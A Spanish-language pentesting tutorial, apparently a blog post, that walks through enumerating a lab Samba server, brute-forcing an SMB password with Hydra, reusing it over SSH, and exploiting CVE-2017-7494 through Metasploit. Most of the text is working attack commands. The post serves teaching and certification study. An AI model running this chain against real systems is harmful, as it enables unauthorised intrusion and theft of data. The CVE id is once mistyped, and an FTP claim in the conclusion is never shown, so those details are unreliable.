Hacking Samba: guía completa de enumeración y explotación
Muchos ven a Samba como simples archivos y carpetas compartidas y lo dejan de lado durante una prueba de intrusión, cuando en realidad puede ofrecer múltiples caminos para comprometer un servidor.
Por eso, en esta guía vamos a recorrer el proceso completo para enumerar Samba, abusar de configuraciones inseguras, realizar ataques de contraseñas y explotar vulnerabilidades para obtener acceso al sistema, siguiendo un enfoque de pentesting ofensivo aplicable a auditorías reales, máquinas vulnerables y exámenes de certificación.
¿Qué es Samba?
Samba es una implementación del protocolo SMB (Server Message Block) utilizada principalmente en sistemas Linux y Unix para compartir archivos, carpetas, impresoras y otros recursos con equipos Windows.
SMB suele operar sobre el puerto TCP 445. Durante un pentest, encontrar este servicio expuesto puede revelar recursos compartidos, archivos internos, usuarios válidos, permisos inseguros, credenciales débiles o incluso versiones asociadas a vulnerabilidades conocidas.
En esta guía seguiremos el flujo completo desde el descubrimiento inicial hasta conseguir ejecución remota de comandos.
Descubrimiento del objetivo
Antes de analizar Samba necesitamos identificar qué sistemas están activos dentro de la red:
nmap -sn 10.60.10.0/24
A partir de este punto continuaremos la enumeración sobre ese host.
Escaneo de puertos
El siguiente paso consiste en descubrir qué puertos está exponiendo el sistema:
nmap -Pn -p- 10.60.10.100

Entre los servicios disponibles aparece TCP/445, utilizado habitualmente por SMB.
Identificar Samba y su versión
Ahora podemos analizar específicamente el puerto 445:
nmap -Pn -sV -p445 10.60.10.100

Para obtener información adicional del servicio SMB utilizamos:
nmap -Pn -p445 --script smb-os-discovery 10.60.10.100

En nuestro escenario identificamos: Samba 4.3.11
Conocer la versión será importante más adelante para investigar vulnerabilidades conocidas. Antes de llegar a esa fase, necesitamos entender qué está exponiendo el servicio.
Identificar las versiones de SMB disponibles
SMB dispone de diferentes versiones o dialectos, como SMB1, SMB2 y SMB3.
Podemos comprobar cuáles acepta el servidor con:
nmap -Pn -p445 --script smb-protocols 10.60.10.100

Esto amplía la información disponible sobre la configuración del servicio.
Enumerar shares y permisos
En SMB, un share es un recurso compartido publicado por el servidor, normalmente una carpeta.
Podemos comprobar qué recursos están disponibles sin proporcionar credenciales:
nxc smb 10.60.10.100 -u '' -p '' --shares

Además de conocer qué shares existen, debemos revisar sus permisos. public permite lectura, mientras que va_tmp permite lectura y escritura.
Acceso anónimo al share public
Probamos el recurso public sin utilizar credenciales y con el comando get descargamos el recurso compartido encontrado:
smbclient //10.60.10.100/public -N

Después revisamos el archivo:
cat staff.txt

Su contenido revela: james.wilson
Un recurso de solo lectura acaba de proporcionarnos un usuario válido que podremos utilizar en las siguientes fases.
Enumerar usuarios
También podemos intentar obtener directamente usuarios conocidos por Samba:
nxc smb 10.60.10.100 -u '' -p '' --users

En nuestro escenario identificamos:
james.wilson
sarah.miller
michael.brown
Ahora podemos realizar ataques utilizando nombres obtenidos directamente durante la enumeración.
Password Attack contra SMB
Utilizamos Hydra con nuestra lista de usuarios y el diccionario rockyou.txt:
hydra -l sarah.miller -P /usr/share/wordlists/rockyou.txt smb://10.60.10.100 -V

El ataque identifica una credencial válida:
sarah.miller:london
Encontrar una contraseña no significa que la enumeración haya terminado. Una nueva credencial nos permite volver a analizar el servicio desde una posición autenticada.
Validar la credencial y volver a enumerar
Primero comprobamos que la credencial funciona realmente contra SMB:
nxc smb 10.60.10.100 -u sarah.miller -p london

Después volvemos a enumerar los recursos compartidos:
nxc smb 10.60.10.100 -u sarah.miller -p london --shares

Una nueva credencial debe producir una nueva fase de enumeración.
Acceder al share internal
Durante la enumeración anónima habíamos comprobado que internal estaba restringido.
Ahora podemos acceder utilizando las credenciales obtenidas:
smbclient //10.60.10.100/internal -U sarah.miller
Password: london
Dentro:
ls
get employee-data.csv
exit
Y revisamos el archivo:
cat employee-data.csv

El recurso que antes estaba bloqueado ahora es accesible gracias a la autenticación.
Comprobar reutilización de credenciales
La reutilización de credenciales ocurre cuando una misma combinación de usuario y contraseña funciona en varios servicios.
Durante el escaneo inicial identificamos también SSH, por lo que podemos comprobar si sarah.miller:london funciona.
ssh sarah.miller@10.60.10.100
Password: london


La misma credencial funciona en SMB y SSH.
En este punto ya hemos conseguido acceso al sistema sin explotar ninguna vulnerabilidad de Samba.
Buscar vulnerabilidades en Samba
Durante la identificación del servicio obtuvimos: Samba 4.3.11
Ahora podemos utilizar esa versión para investigar vulnerabilidades conocidas:
searchsploit Samba 4.3.11

Entre los resultados aparece:
Samba 3.5.0 < 4.4.14/4.5.10/4.6.4
is_known_pipename() Arbitrary Module Load
Nuestra versión, 4.3.11, se encuentra dentro del rango afectado.
Podemos inspeccionar el exploit:
searchsploit -x 42084

La vulnerabilidad corresponde a CVE-2017-74q94, que puede permitir ejecución remota de código cuando se cumplen determinadas condiciones.
Validar los requisitos del exploit
Encontrar una versión dentro de un rango vulnerable no demuestra automáticamente que el servidor pueda explotarse.
Uno de los requisitos relevantes de CVE-2017-7494 es disponer de un recurso SMB escribible.
Durante nuestra enumeración ya habíamos identificado:
va_tmp READ,WRITE
Ese hallazgo adquiere ahora importancia.
Explotar Samba con Metasploit
Abrimos Metasploit, buscamos la vulnerabilidad:
msfconsole
search CVE-2017-7494

Seleccionamos, reviamos opciones y configuramos:
use exploit/linux/samba/is_known_pipename
options
set RHOSTS 10.60.10.100

Validamos y si todo va bien ejecutamos el exploit:
check
run
whoami

Si el servidor responde, hemos confirmado la ejecución remota de comandos.
En este punto termina nuestro escenario.
Conclusiones
Este escenario muestra dos rutas distintas para comprometer el mismo servidor.
La primera surge de la enumeración de usuarios y de una contraseña débil. Después de obtener sarah.miller:london, podemos acceder a recursos SMB restringidos y comprobar que las mismas credenciales también funcionan contra FTP y SSH.
La segunda parte de la versión del servicio. Samba 4.3.11 se encuentra dentro del rango afectado por CVE-2017-7494 y el servidor dispone además de un share escribible que satisface uno de los requisitos del exploit. Al combinar ambos hallazgos conseguimos ejecución remota de comandos.
La idea principal es simple: un pentest no consiste en buscar un exploit lo antes posible. Una buena enumeración puede revelar credenciales, información y configuraciones inseguras que proporcionen acceso por sí mismas o que resulten necesarias para explotar una vulnerabilidad posteriormente.
¿Te estás preparando seriamente para el examen eJPT?
He creado una eJPT Exam Study Guide para ayudarte a identificar qué temas debes dominar, cómo organizar tu preparación y qué practicar antes del examen.
Nos vemos en la próxima guía,
Fernando Conislla
eJPT · eCPPT · eWPT · eMAPT · CEH
Especialista en Pentesting y Seguridad Ofensiva